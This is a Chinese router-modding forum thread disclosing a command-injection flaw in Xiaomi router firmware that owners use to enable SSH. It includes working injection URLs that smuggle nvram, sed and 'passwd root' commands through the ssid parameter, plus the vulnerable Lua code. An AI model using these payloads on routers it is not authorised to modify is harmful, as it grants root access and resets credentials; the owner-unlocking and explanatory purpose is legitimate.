小米无线路由器及小米网络设备

[红米AX6] [0825:AC2100新固件有效AX6无效]AX3600/AX1800/AX5/AC2100官方固件开启SSH方法[原创]
本帖最后由 LonGDikE 于 2020-8-25 23:02 编辑

这段时间一直抽时间在分析固件,昨天终于找到漏洞,web注入方式,不过该漏洞在最新版本应该已经堵上了
详细方法及固件版本晚点整理公布
root密码算法同之前

0624:AX3600第三方QSDK固件终于出来,辛苦@li4621180,喜欢折腾的可以一试,小米AX3600,第三方QSDK固件,不过目前根据大家反馈刷机方法貌似还不完善,待更新,有问题可以进群讨论便捷一点,群号1106916203,留群号如有不妥请通知本人,我会做删除处理,主要是为了方便快捷交流
0609:AX3600的dts、分区备份及kernel_log,希望有能力的大神研究一下适配https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=4034554
0605:据说坛友@efsg说有大佬已经粗略分析了原厂固件,理论上没有校验,所以可尝试适配固件(真刷坏了也可以保修,你懂的) 希望动手能力比较强愿意折腾的同学可以(拆机)TTL提供完整的启动日志和内核日志,有望可以做出QSDK固件


0526:方法公布
----
有漏洞固件,AX3600 1.0.17版本/AX1800 1.0.34/1.0.328/1.0.336版本/AX5 1.0.16/1.0.26/AC2100 2.0.722版本;AX3600的1.0.20和1.0.50版本应该已经修复了,这两个固件获取SSH的方法看@高渐离大神的帖子哈,最新1.066/1.067的固件均有保留SSH方法

下载地址
AX3600
  1. http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/r3600/miwifi_r3600_firmware_5da25_1.0.17.bin
复制代码
0604震惊!经由坛友@zhanshrd 验证,AX1800 1.0.34版本固件竟然同样也可用以下方法开启SSH,1.0.328的固件仍然适用,最新的1.0.336仍然有效
AX1800
  1. http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/rm1800/miwifi_rm1800_firmware_6718d_1.0.34.bin
复制代码
  1. http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/rm1800/miwifi_rm1800_all_65ab2_1.0.328.bin
复制代码
  1. http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/rm1800/miwifi_rm1800_firmware_fafda_1.0.336.bin
复制代码

0618:坛友@cxp863反馈,1071楼,同样适用于红米AX5,出厂固件1.0.16版本
0619:增加AX5固件下载地址
0714:AX5最新MESH固件仍有效
AX5
  1. http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/ra67/miwifi_ra67_all_f3fac_1.0.26.bin
复制代码
  1. http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/ra67/miwifi_ra67_firmware_63805_1.0.16.bin
复制代码
0825:最近比较忙,抽空粗略看了一下,AC2100的新固件2.0.722也带入了这个漏洞,AX6的1.0.18固件无此漏洞

AC2100
  1. http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/r2100/miwifi_r2100_firmware_4b519_2.0.722.bin
复制代码



降级到对应版本,进行初步设置,可以先关掉自动升级或不接外网防止自动升级到最新版本

讲一下漏洞利用
管理密码登录管理页面后
  1. http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/web/home#router
复制代码

0606:和小白解释下吧,<STOK>是代表你登录后自动生成的那一长串数据,自己替换下......
注入地址及示例,其它的大家发挥吧,下面这句只是改nvram设置ssl_en=1的,只要执行一步到位代码,集成进去了
  1. http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3Bnvram%20set%20ssh%5Fen%3D1%3B%20nvram%20commit%3B
复制代码

返回{"code":0}即代表成功,其实成不成功都会返回这个:)
注意传参顺序及指令前后都要加一个分号,即%3B,ssid=-h是必须的,否则需要等1-2分钟才能注入成功,虽然返回很快

按理只要利用漏洞注入命令注释掉或删掉/etc/init.d/dropbear中如下判断代码(135-137行),重启即可开启SSH,root密码请自行根据SN计算;不想计算的或不知道怎么计算的,可以看7楼的方法

  1.         # 稳定版不能打开ssh服务
  2.         flg_ssh=`nvram get ssh_en`
  3.         channel=`/sbin/uci get /usr/share/xiaoqiang/xiaoqiang_version.version.CHANNEL`
  4.         if [ "$flg_ssh" != "1" -o "$channel" = "release" ]; then
  5.                 return 0
  6.         fi
复制代码
0601一步到位代码,根据其他大侠修正简化
  1. http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B
复制代码
0619:把7楼改密码的也放在这吧,很多人不注意看帖子,root账号不想用初始密码的执行下面的代码改密码为admin
  1. http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B
复制代码


代码为网友赞助我拼凑的。。哈哈。@fredliang44 @xjboss @高渐离@pnq

0528:漏洞原理
解包固件看里面的lua脚本,17版本的固件lua脚本不知为啥没有加密(或许是故意的,哈哈)
有漏洞的这个api应该是针对AX3600新加的,api/misystem/set_config_iotdev调用的函数如下
  1. function setConfigIotDev()
  2.     local XQFunction = require("xiaoqiang.common.XQFunction")
  3.     local LuciUtil = require("luci.util")
  4.     local result = {
  5.         ["code"] = 0
  6.     }

  7.     local ssid = LuciHttp.formvalue("ssid")----参数直接代入,未过滤
  8.     local bssid = LuciHttp.formvalue("bssid")----参数直接代入,未过滤
  9.     local uid = LuciHttp.formvalue("user_id")----参数直接代入,未过滤

  10.     XQLog.log(debug_level, "ssid = "..ssid)
  11.     XQLog.log(debug_level, "bssid = "..bssid)
  12.     XQLog.log(debug_level, "uid = "..uid)
  13.     if XQFunction.isStrNil(ssid)
  14.         or XQFunction.isStrNil(bssid)
  15.         or XQFunction.isStrNil(uid) then
  16.         result.code = 1523
  17.     end
  18.     if result.code ~= 0 then
  19.         result["msg"] = XQErrorUtil.getErrorMessage(result.code)
  20.     else
  21.         XQFunction.forkExec("connect -s "..ssid.." -b "..bssid.. " -u "..uid)----参数直接代入,未过滤
  22.     end
  23.     LuciHttp.write_json(result)
  24. end
复制代码


大家折腾起来吧

转贴请注明作者及出处,谢谢
----




附件: 您需要登录才可以下载或查看附件。没有账号?立即注册

点评

  • whbd1999
  • 发表于 2020-5-28 18:22
  • 程序员经常会这么做,在早期的版本里故意设置后门。

评分

  • 恩山币 +55
    理由
  • + 2
    赢了会所嫩模,输了回家蒸馍!
  • + 2
    几亿网民,我们俩竟然神奇的在恩山相遇了!来,1分也是分!
  • + 1
    这个年轻人不讲武德,耗子尾汁!
  • + 1
    一看就是觉得高端、大气、上档次!
  • + 1
    感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
  • + 1
    恩山全体路由党向你学习!
  • + 1
    开了ssh怎么关了 能开也能关才牛逼???
  • + 1
    几亿网民,我们俩竟然神奇的在恩山相遇了!来,1分也是分!
  • + 1
    不要怂、就是干!
  • + 1
    生活不易,相遇也不易,既然这样,让我们成为朋友一起面朝大海、花开花落……
  • + 1
    感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
  • + 1
    恩山全体路由党向你学习!
  • + 1
    红米 ac2100 2.023 稳定版无法操作,提示no valid token
  • + 1
    一看就是觉得高端、大气、上档次!
  • + 1
    感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
  • + 1
    RM2100 2.0.7可用
  • + 1
    几亿网民,我们俩竟然神奇的在恩山相遇了!来,1分也是分!
  • + 1
    强大的恩山!(以下重复1万次)
  • -1
    感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
  • + 1
    感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
  • + 1
    感谢你的分享,无论怎样,你都是最无私的人!
  • + 1
    不要怂、就是干!
  • -1
    恩山全体路由党向你学习!
  • + 1
    强大的恩山!(以下重复1万次)
  • + 1
    ax5 1.0.26 成功开启
  • + 1
    感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
  • + 1
    感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
  • + 1
    感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
  • + 2
    大神牛逼!!!!
  • + 1
    感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
  • + 1
    !
  • + 1
    感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
  • + 1
    感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
  • + 1
    风清云淡、飘逸悠然……极爽!
  • + 1
    感谢你的分享,无论怎样,你都是最无私的人!来,说说,你 E 盘上还有啥一起给我吧
  • + 1
    感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
  • + 2
    感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
  • + 1
    真心期待AX5或者1800有固件,太适合大众了
  • + 1
    快点出魔改固件吧,我在咸鱼已经按耐不住了
  • + 1
    感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
  • + 1
    恩山全体路由党向你学习!
  • + 1
    AX1800, 1.0.328,直接操作成功。感谢分享!
  • + 1
    强大的恩山!(以下重复1万次)
  • + 1
    AX1800最新1.0.328测试成功
  • + 1
    强大的恩山!(以下重复1万次)
  • + 1
    感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
  • + 1
    exciting!
  • + 1
    未来可期啊
  • + 1
    强大的恩山!(以下重复1万次)
  • + 1
    风清云淡、飘逸悠然……极爽!
  • -1
    恩山全体路由党向你学习!
  • + 1
    支持一下,3恩币物有所值,虽然看起来只有没几步不过挖掘的过程想必非常不容易,建议
  • + 1
    一看就是觉得高端、大气、上档次!
  • + 1
    恩山全体路由党向你学习!
  • + 1
    恩山全体路由党向你学习!
  • + 1
    开门!我是隔壁老王!
  • + 1
    恩山全体路由党向你学习!
倒序浏览 看全部 全部回复3747
加油~~~~~~~~~~~~~
真是牛人呢。
哇,厉害啊。
各位JS们,涨价的来一个,先涨为敬,庆祝AX3600 SSH开启。

点评

  • LonGDikE
  • 发表于 2020-5-26 13:27
  • 我是不是可以高价卖掉我的已开启SSH的AX3600,哈哈
bb1993916 发表于 2020-5-26 13:19
各位JS们,涨价的来一个,先涨为敬,庆祝AX3600 SSH开启。

我是不是可以高价卖掉我的已开启SSH的AX3600,哈哈
  • 7# pnq
  • 2020-5-26 13:36
本帖最后由 pnq 于 2020-6-1 13:33 编辑

可以用这道命令来改文件:
  1. sed -i '/flg_ssh.*release/{n;s/return/true/}' /etc/init.d/dropbear
复制代码


可以通过下面这个注入地址来把密码改成admin
  1. http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B
复制代码


点评

你说的很对,我赞同你的说法。: 5.0
  • pdshyh
  • 发表于 2023-8-10 10:19
  • 您好,注入地址来把密码改成admin出现:{"msg":"参数错误","code":1523}。是23年3月买的小米路由器AX1800。没有输对命令,已经按登录路由器的改了。
  • 20663690
  • 发表于 2020-6-21 10:02
  • 20'admin%5Cnadmin'%20% 改别的密码的话 是不是这里2个都要改
  • lstions
  • 发表于 2020-5-29 10:53
  • 你说的很对,我赞同你的说法。: 5
  • LonGDikE
  • 发表于 2020-5-28 22:46
  • 嗯,是的,谢谢老哥。能注入了,方法就比较多了,只是一开始对这些个linux命令还不太熟练,工作原因,平时都是windows
  • lstions
  • 发表于 2020-5-28 14:48
  • 亲测可行。
  • jw10126121
  • 发表于 2020-5-27 10:40
  • 测试过可用了吗?????

评分

顶上去,厉害啊
可以降级
附件: 您需要登录才可以下载或查看附件。没有账号?立即注册
等待大佬消息
此贴必火呀
火钳留名,期待大佬教程
厉害??!?!!!

火钳留名..
  • 15# iwo
  • 2020-5-26 14:30
此贴必火,火钳留名
1234.. 250下一页
回复 365收藏

简体中文 繁體中文 English 日本語 Deutsch 한국 사람 بالعربية TÜRKÇE português คนไทย